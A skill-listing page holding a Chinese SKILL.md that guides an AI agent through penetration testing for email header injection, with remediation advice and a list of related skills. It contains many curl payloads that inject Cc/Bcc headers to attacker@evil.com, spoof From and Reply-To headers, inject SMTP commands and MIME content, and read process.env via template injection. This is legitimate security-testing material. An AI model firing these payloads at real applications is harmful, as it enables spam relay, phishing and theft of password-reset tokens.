testing-for-email-header-injection

测试 Web 应用程序邮件功能中的 SMTP 头部注入漏洞,这些漏洞允许攻击者注入额外的邮件头部、修改收件人,并通过联系表单实施垃圾邮件中继。

9 stars

Best use case

testing-for-email-header-injection is best used when you need a repeatable AI agent workflow instead of a one-off prompt.

测试 Web 应用程序邮件功能中的 SMTP 头部注入漏洞,这些漏洞允许攻击者注入额外的邮件头部、修改收件人,并通过联系表单实施垃圾邮件中继。

Teams using testing-for-email-header-injection should expect a more consistent output, faster repeated execution, less prompt rewriting.

When to use this skill

  • You want a reusable workflow that can be run more than once with consistent structure.

When not to use this skill

  • You only need a quick one-off answer and do not need a reusable workflow.
  • You cannot install or maintain the underlying files, dependencies, or repository context.

Installation

Claude Code / Cursor / Codex

$curl -o ~/.claude/skills/testing-for-email-header-injection/SKILL.md --create-dirs "https://raw.githubusercontent.com/killvxk/cybersecurity-skills-zh/main/skills/testing-for-email-header-injection/SKILL.md"

Manual Installation

  1. Download SKILL.md from GitHub
  2. Place it in .claude/skills/testing-for-email-header-injection/SKILL.md inside your project
  3. Restart your AI agent — it will auto-discover the skill

How testing-for-email-header-injection Compares

Feature / Agenttesting-for-email-header-injectionStandard Approach
Platform SupportNot specifiedLimited / Varies
Context Awareness High Baseline
Installation ComplexityUnknownN/A

Frequently Asked Questions

What does this skill do?

测试 Web 应用程序邮件功能中的 SMTP 头部注入漏洞,这些漏洞允许攻击者注入额外的邮件头部、修改收件人,并通过联系表单实施垃圾邮件中继。

Where can I find the source code?

You can find the source code on GitHub using the link provided at the top of the page.

SKILL.md Source

# 测试邮件头部注入(Testing for Email Header Injection)

## 适用场景
- 测试联系表单、反馈表单或"邮件分享"功能时
- 评估密码重置邮件功能时
- 测试新闻订阅或通知邮件系统时
- 对基于用户输入发送邮件的应用程序进行渗透测试时
- 审计与邮件相关的 API 端点是否存在头部注入时

## 前置条件
- Burp Suite(用于拦截和修改 HTTP 请求)
- 了解 SMTP 协议和邮件头部结构
- 熟悉 CRLF 注入技术(\r\n 序列)
- 用于接收注入邮件的测试邮箱账户
- 能够访问触发邮件发送的应用功能
- SMTP 服务器日志访问权限(用于监控注入尝试)

## 工作流程

### 步骤 1 — 识别邮件注入点
```bash
# 识别会出现在邮件头部的表单字段:
# - "发件人"姓名或邮箱地址字段
# - 分享功能中的"收件人"或"抄送"字段
# - 主题行输入
# - 回复地址字段

# 常见端点:
# POST /contact — 联系表单
# POST /share — 邮件分享功能
# POST /invite — 邀请系统
# POST /api/send-email — 邮件 API 端点
# POST /forgot-password — 密码重置表单

# 先测试基本功能
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com&subject=Hello&message=Test message"
```

### 步骤 2 — 测试 CRLF 头部注入
```bash
# 通过邮箱字段中的 CRLF 注入额外邮件头部
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com%0ACc:attacker@evil.com&message=Test"

# 注入 BCC 头部
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com%0ABcc:attacker@evil.com&message=Test"

# 通过 name 字段注入
curl -X POST http://target.com/contact \
  -d "name=Test%0ACc:attacker@evil.com&email=test@test.com&message=Test"

# 通过 subject 字段注入
curl -X POST http://target.com/contact \
  -d "name=Test&email=test@test.com&subject=Hello%0ABcc:attacker@evil.com&message=Test"

# 尝试不同的 CRLF 编码变体
# %0D%0A(CRLF)
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0D%0ACc:attacker@evil.com"

# %0A(仅 LF)
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0ACc:attacker@evil.com"

# %0D(仅 CR)
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0DCc:attacker@evil.com"

# 双重编码
curl -X POST http://target.com/contact \
  -d "email=test@test.com%250ACc:attacker@evil.com"
```

### 步骤 3 — 注入自定义邮件内容
```bash
# 通过注入 Content-Type 和正文覆盖邮件内容
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AContent-Type:text/html%0A%0A<h1>Phishing</h1>"

# 注入额外的 MIME 部分
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AContent-Type:multipart/mixed;boundary=boundary123%0A--boundary123%0AContent-Type:text/html%0A%0A<script>alert(1)</script>"

# 覆盖 From 头部实施邮件伪造
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AFrom:ceo@target.com"

# 注入 Reply-To 用于网络钓鱼
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0AReply-To:attacker@evil.com"
```

### 步骤 4 — 测试 IMAP/SMTP 注入
```bash
# 通过邮箱字段注入 IMAP 命令
curl -X POST http://target.com/webmail/search \
  -d "query=test%0AEXAMINE INBOX"

# SMTP 命令注入
curl -X POST http://target.com/api/send \
  -d "to=test@test.com%0ARCPT TO:attacker@evil.com"

# SMTP VRFY 命令注入
curl -X POST http://target.com/api/verify \
  -d "email=test@test.com%0AVRFY admin"

# 测试 SMTP 中继滥用
curl -X POST http://target.com/contact \
  -d "email=test@test.com%0ATo:victim1@target.com%0ATo:victim2@target.com%0ATo:victim3@target.com"
```

### 步骤 5 — 测试基于 JSON 的邮件 API
```bash
# JSON API 头部注入
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":"test@test.com\nCc:attacker@evil.com","subject":"Test","body":"Test"}'

# 数组注入实现多收件人
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":["test@test.com","attacker@evil.com"],"subject":"Test","body":"Test"}'

# 邮件正文中的模板注入
curl -X POST http://target.com/api/send-email \
  -H "Content-Type: application/json" \
  -d '{"to":"test@test.com","subject":"Test","body":"{{constructor.constructor(\"return process.env\")()}}"}'
```

### 步骤 6 — 验证发现
```bash
# 检查注入的 CC/BCC 邮件是否已收到
# 监控 attacker@evil.com 收件箱中的副本

# 通过邮件原始来源验证头部注入
# 在收到的邮件中,查看"查看原始邮件"或"显示邮件头"
# 寻找注入的 Cc:、Bcc:、From: 或 Reply-To: 头部

# 测试应用是否可被用作垃圾邮件中继
# 方法是在 BCC 中注入多个收件人

# 记录完整的注入链
# 1. 注入点(哪个字段)
# 2. 所需编码(CRLF、URL 编码)
# 3. 影响(垃圾邮件中继、网络钓鱼、数据窃取)
```

## 核心概念

| 概念 | 定义 |
|---------|-------------|
| CRLF 注入(CRLF Injection) | 注入回车和换行字符以创建新的邮件头部 |
| 头部注入(Header Injection) | 向外发邮件添加未授权头部(Cc、Bcc、From) |
| 垃圾邮件中继(Spam Relay) | 滥用邮件功能向任意收件人发送垃圾邮件 |
| 邮件伪造(Email Spoofing) | 修改 From 或 Reply-To 头部以冒充可信发件人 |
| MIME 操控(MIME Manipulation) | 注入 MIME 边界以覆盖邮件正文内容 |
| SMTP 命令注入(SMTP Command Injection) | 通过未经过滤的邮件参数注入原始 SMTP 命令 |
| 换行字符(Newline Characters) | \r\n(CRLF)、\n(LF)、\r(CR),用于分隔邮件头部 |

## 工具与系统

| 工具 | 用途 |
|------|---------|
| Burp Suite | 修改与邮件相关的表单提交的 HTTP 代理 |
| swaks | SMTP 测试和头部注入验证的瑞士军刀工具 |
| OWASP ZAP | 具有邮件注入检测功能的自动化扫描器 |
| mailhog | 用于捕获注入邮件的本地 SMTP 测试服务器 |
| smtp4dev | 用于监控邮件注入结果的开发 SMTP 服务器 |
| Nuclei | 具有邮件头部注入检测模板的扫描器 |

## 常见场景

1. **垃圾邮件中继** — 注入 BCC 头部,通过目标 SMTP 服务器中继大量邮件,绕过信任发件人域名的垃圾邮件过滤器
2. **通过联系表单实施网络钓鱼** — 修改 From 和 Reply-To 头部,发送看似来自目标组织的钓鱼邮件
3. **密码重置劫持** — 在密码重置流程中注入 CC 头部,接收发送给受害者的重置 Token 副本
4. **邮件内容覆盖** — 注入 MIME Content-Type 头部,将合法邮件正文替换为恶意钓鱼内容
5. **内网邮件滥用** — 利用头部注入向通常无法通过应用访问的内部邮箱地址发送邮件

## 输出格式

```
## 邮件头部注入报告
- **目标**:http://target.com/contact
- **注入点**:联系表单中的 email 字段
- **所需编码**:URL 编码 LF(%0A)

### 发现
| # | 字段 | 载荷 | 结果 | 严重性 |
|---|-------|---------|--------|----------|
| 1 | email | test@test.com%0ACc:evil@evil.com | CC 头部已注入 | High |
| 2 | email | test@test.com%0ABcc:evil@evil.com | BCC 头部已注入 | High |
| 3 | name | Test%0AFrom:ceo@target.com | From 伪造 | Medium |

### 修复建议
- 使用严格的正则表达式验证邮箱地址,拒绝包含换行符的输入
- 从所有与邮件相关的输入中剥离 \r、\n 及其编码变体
- 使用参数化邮件 API,将头部与数据分离
- 对邮件发送功能实施速率限制
```

Related Skills

testing-websocket-api-security

9
from killvxk/cybersecurity-skills-zh

测试 WebSocket API 实现中的安全漏洞,包括 WebSocket 升级时缺少身份认证、跨站 WebSocket 劫持(Cross-Site WebSocket Hijacking,CSWSH)、通过 WebSocket 消息进行的注入攻击、输入校验不足、通过消息泛洪实施拒绝服务,以及通过 WebSocket 帧造成的信息泄露。测试人员使用 Burp Suite 拦截 WebSocket 握手和消息,构造恶意 payload,并测试 WebSocket 通道上的授权绕过。适用于 WebSocket 安全测试、WS 渗透测试、CSWSH 攻击或实时 API 安全评估相关请求。

testing-oauth2-implementation-flaws

9
from killvxk/cybersecurity-skills-zh

测试 OAuth 2.0 和 OpenID Connect 实现中的安全缺陷,包括授权码拦截、重定向 URI 操控、OAuth 流程中的 CSRF、令牌泄露、权限范围(scope)提升以及 PKCE 绕过。测试人员对授权服务器、客户端应用及令牌处理进行评估,发现可导致账户接管或未授权访问的常见错误配置。适用于 OAuth 安全测试、OIDC 漏洞评估、OAuth2 重定向绕过或授权码流程测试相关请求。

testing-mobile-api-authentication

9
from killvxk/cybersecurity-skills-zh

测试移动应用 API 的认证与授权机制,识别认证失效、不安全的令牌管理、会话固定、 权限提升和 IDOR 漏洞。适用于对移动应用后端进行 API 安全评估、测试 JWT 实现、 评估 OAuth 流程或评估会话管理的场景。适合涉及移动 API 认证测试、令牌安全评估、 OAuth 移动端流程测试或 API 授权绕过的相关请求。

testing-jwt-token-security

9
from killvxk/cybersecurity-skills-zh

在安全测试活动中,评估 JSON Web Token(JWT)实现中的密码学弱点、算法混淆攻击和授权绕过漏洞。

testing-for-xxe-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

在授权的渗透测试中发现和利用 XML 外部实体(XXE)注入漏洞,以读取服务器文件、执行 SSRF 并外泄数据。

testing-for-xss-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。

testing-for-xss-vulnerabilities-with-burpsuite

9
from killvxk/cybersecurity-skills-zh

在授权的安全评估过程中,使用 Burp Suite 的扫描器、Intruder 和 Repeater 工具识别和验证跨站脚本(XSS)漏洞。适用于 Web 应用渗透测试中检测反射型、存储型和 DOM 型 XSS,验证自动化扫描器报告的 XSS 发现,以及评估 CSP 和 XSS 过滤器的有效性时使用。

testing-for-xml-injection-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序中的 XML 注入漏洞,包括 XXE(XML 外部实体注入)、XPath 注入和 XML 实体攻击,以识别数据泄露和服务器端请求伪造(SSRF)风险。

testing-for-sensitive-data-exposure

9
from killvxk/cybersecurity-skills-zh

在安全评估中识别敏感数据暴露漏洞,包括 API 密钥泄露、响应中的 PII、不安全存储以及未受保护的数据传输。

testing-for-open-redirect-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

通过分析 URL 重定向参数、绕过技术和利用链,识别并测试 Web 应用程序中的开放重定向漏洞,用于网络钓鱼和 Token 窃取。

testing-for-json-web-token-vulnerabilities

9
from killvxk/cybersecurity-skills-zh

测试 JWT 实现中的关键漏洞,包括算法混淆、none 算法绕过、kid 参数注入和弱密钥利用,以实现认证绕过和权限提升。

testing-for-host-header-injection

9
from killvxk/cybersecurity-skills-zh

测试 Web 应用程序的 HTTP Host 头部注入漏洞,以识别密码重置中毒、Web 缓存投毒、SSRF 以及虚拟主机路由操控风险。